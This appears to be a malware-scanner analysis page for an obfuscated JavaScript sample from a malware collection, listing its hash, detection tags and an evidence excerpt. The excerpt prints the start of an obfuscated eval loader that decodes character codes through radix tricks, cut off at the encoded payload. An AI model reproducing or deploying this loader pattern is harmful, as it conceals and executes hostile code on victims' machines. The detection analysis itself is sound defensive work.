Suspicious ^80% javascript-malware-collection Download

20151208_aca8880a1d0c209d0535746eed2c9af3.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256f13ce8f24ca00db70835a708801385d0e06fad9afe78dfc7009eec9b1cc4b66d

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var tRUlbhhFWHCrp=[];for(TOTIZPh=(-409+409)/274;TOTIZPh<(1689+871)/20;TOTIZPh++){tRUlbhhFWHCrp[TOTIZPh]=String.fromCharCode(TOTIZPh)}function yCoNa(JgoDhQjEYtG,LDzwRflTFmzzq,znxiAhmH){EEGQ=parseInt(JgoDhQjEYtG,LDzwRflTFmzzq);soQOY=EEGQ.toString(znxiAhmH);return soQOY;}function oEBUweGotyGIdJn(vOxpWnFJTLFzEmGPO){eval(vOxpWnFJTLFzEmGPO)}
2function zGMiLtgXrqzSjhhGRBbpwYiZNsHOkjtueauTmRQZkKEkXCrfhKjcOL(LVnNogZgNNemF,soFIwhrOQtQrrG){ return tRUlbhhFWHCrp[yCoNa(LVnNogZgNNemF[soFIwhrOQtQrrG],(3237+83)/332,(5235+485)/572)];}
3function XcSSHlF(hfbrJAaoeEFKITrUOWvFSbuTwxcetDGRTVjH) {return !isNaN(parseFloat(hfbrJAaoeEFKITrUOWvFSbuTwxcetDGRTVjH)) && isFinite(hfbrJAaoeEFKITrUOWvFSbuTwxcetDGRTVjH);}
4function jzfURshDSmH(JQxCdAPQ,GPffhm){return JQxCdAPQ.split(GPffhm)}
5var I=[];I.push("13");I.push("10");I.push("13");I.push("10");I.push("118");I.push("97");I.push("114");I.push("32");I. …